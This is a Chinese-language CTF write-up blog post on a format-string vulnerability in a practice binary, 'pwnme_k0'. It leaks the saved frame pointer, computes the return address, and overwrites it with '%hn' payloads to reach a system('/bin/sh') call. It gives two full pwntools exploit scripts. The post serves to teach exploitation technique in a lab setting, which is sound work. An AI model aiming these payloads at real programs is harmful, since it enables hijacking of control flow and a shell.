盒子
盒子
文章目录
  1. 前言:
  2. 前期准备:
    1. 首先得熟悉printf各个参数的含义:
  • 概述:
    1. 寻找返回地址:
    2. 覆盖返回地址:
  • EXP(第一种覆盖):
  • EXP(第二种覆盖):
  • Hijack_Retaddr

    前言:

    这几天学了一下格式化字符串攻击的用法,大体上的三种利用方法已经基本掌握了,主要就是修改got表、修改返回地址、堆上的格式化字符串利用,盲打格式化就不说了,跟BROP差不多,都是靠枚举。现在讲一讲修改返回地址的这块。

    前期准备:

    首先得熟悉printf各个参数的含义:

    1. x输出16进制,指定精度如%08x这种情况就是指定输出宽度为8,如果不足八位则用0补上,如果指定精度比实际输出小则按正常输出(自己可以测试)
    2. %s这种情况是输出字符串,不过不是直接的栈中的字符串,是解析了栈中的指针地址之后的字符串,如果是非法地址则无法解析导致程序崩溃,实际上就是%s—>addr—>string
    3. %p则是用地址的格式打印对应内容
    4. hh表示输出一个字节,h表示输出一个双字节
    5. %n$p地址格式打印第n个的内容,p可替换成别的
    6. d表示有符号整数,u表示无符号整数
    7. n表示把已经成功输出的字符个数写入对应的整型指针参数所指的变量,所以跟%s差不多,指定的是指针地址之后的内容,实际上就是%10d%8hhn—>第8个位置的指针—>指针对应的内容,将第八位置指针所指向的地址内容的最低位覆盖成0xa

    概述:

    先看看格式化的位置在哪,这个漏洞位置很刁钻。

    整体过了一遍,就是输入用户名和密码之后有两个选项,一个是查看用户名密码,一个是重新输入用户名和密码。

    开始登陆函数:

    屏幕快照 2018-05-23 下午8.51.29

    可以观察到输入的用户名和密码都不大于20位,并且往输入密码函数处看之后可以发现:

    1
    2
    3
    4
    5
    6
    7
    read(0, (char *)&a9 + 4, 0x14uLL);
    fflush(stdout);
    *(_QWORD *)buf = bufa;
    *(_QWORD *)(buf + 8) = a8;
    *(_QWORD *)(buf + 16) = a9;
    *(_QWORD *)(buf + 24) = a10;
    *(_QWORD *)(buf + 32) = a11;

    password在username之后的20个字节。再往后看:

    屏幕快照 2018-05-23 下午8.59.34

    漏洞就出现在这里。

    然后我们就可以来利用了,但是checksec之后:

    屏幕快照 2018-05-23 下午9.24.23

    开了RELRO,无法修改got表内容,所以我们就没办法用修改got表地址为system来构造exp了,这里我们用到的方法是将返回地址改成system地址,查看一下’/bin/sh’字符串:

    屏幕快照 2018-05-23 下午9.26.18

    在看IDA:

    屏幕快照 2018-05-23 下午9.27.01

    刚好就有system函数的地址。

    寻找返回地址:

    在漏洞处下断点之后我们用gdb开始调试,用户名处输入’hello’,密码处输入%p%p%p%p%p%p来试验一下:

    屏幕快照 2018-05-23 下午9.30.28

    可以看到我输入的用户名的偏移地址为:5+3=8处,因为该程序为64位,前六位在寄存器中,再看看我们输入的格式化字符串的入口地址为rdi所指向的地址。因为该寄存器存储第一个参数,再看看所指向的地址:0x7fffffffdcf4,在栈中的位置是0x7025702500000000,两个%p在高八位处,被00截断了所以没有显现。

    因为该程序是开启随机化偏移的所以我们并不能直接找出确切的返回地址,这时候我们应该靠什么呢?这里就用到了rbp相对于返回地址的偏移量是不变的知识点了,所以当前的返回地址就在rbp+8的位置,也就是栈0x7fffffffdcd8处的0x400d74返回地址。这里rbp所指向的位置就是old_rbp,也就是说上个函数所保存的old_rbp距离这个函数的返回地址的偏移量是固定不变的,所以偏移量就是:0x7fffffffdd10-0x7fffffffdcd8 = 0x38

    所以只要泄漏出当前rbp所指向的old_rbp就可以推出返回地址。

    所以我们只要在密码处填上’%6$p’即可leak出该地址:

    屏幕快照 2018-05-23 下午9.53.49

    覆盖返回地址:

    那么我们将如何把前面所leak出来的返回地址进行覆盖呢?我们所想要的地址是0x4008a6,对比一下0x400d74的返回地址,我们可以发现只需要覆盖低2字节就行了。这里面我们的覆盖方法有两个:

    1. 利用用户名覆盖:

    这里的话我们利用用户名,把用户名输入成所leak出来的返回地址,利用用户名处来进行覆盖,这样的话就不用想方法去构造playload覆盖返回地址。

    1. 不用用户名覆盖:

    如果不用用户名覆盖的话,我们就需要自己在格式化字符串的入口处构造字符串,因为这里入口地址在00截断处没有被显示出来所以我们不要忽略这一点,这里我们这样来构造:

    1
    playload = %2214d%12$hn + p64(ret_addr)

    这里前面刚好是12个字符串,所以到后面ret_addr的时候他的地址在格式化偏移12的位置处。而且这里还需要注意的是playload个数,因为前面我们已经提及到了密码最多20个字节,这里的playload为前12字节再加上后面八字节的地址也刚好是20个字节,所以这里写exp的时候send playload的时候应该使用send而不是sendline。

    EXP(第一种覆盖):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    from pwn import *

    p = process('./pwnme_k0')
    context.log_level = 'debug'

    p.recvuntil('Input your username(max lenth:20):')
    p.sendline('hello')
    p.recvuntil('Input your password(max lenth:20):')
    p.sendline('%6$p')
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('hello\n')
    data = p.recvuntil('\n')
    data = data.split('\n')[0]
    data = int(data,16)
    print hex(data)

    ret_addr = data - 0x38
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('please input new username(max lenth:20):')
    playload = p64(ret_addr)
    p.sendline(playload)
    p.recvuntil('please input new password(max lenth:20):')
    playload1 = '%2214d%8$hn'
    p.sendline(playload1)
    p.recvuntil('>')
    p.sendline('1')

    p.interactive()

    EXP(第二种覆盖):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    from pwn import *

    p = process('./pwnme_k0')
    context.log_level = 'debug'

    p.recvuntil('Input your username(max lenth:20):')
    p.sendline('hello')
    p.recvuntil('Input your password(max lenth:20):')
    p.sendline('%6$p')
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('hello\n')
    data = p.recvuntil('\n')
    data = data.split('\n')[0]
    data = int(data,16)
    print hex(data)

    ret_addr = data - 0x38
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('please input new username(max lenth:20):')
    p.sendline('hello')
    p.recvuntil('please input new password(max lenth:20):')
    playload = '%2214d%12$hn'
    playload += p64(ret_addr)
    p.send(playload)
    p.recvuntil('>')
    p.sendline('1')

    p.interactive()

    加油咯~

    支持一下
    扫一扫,支持v1nke
    • 微信扫一扫
    • 支付宝扫一扫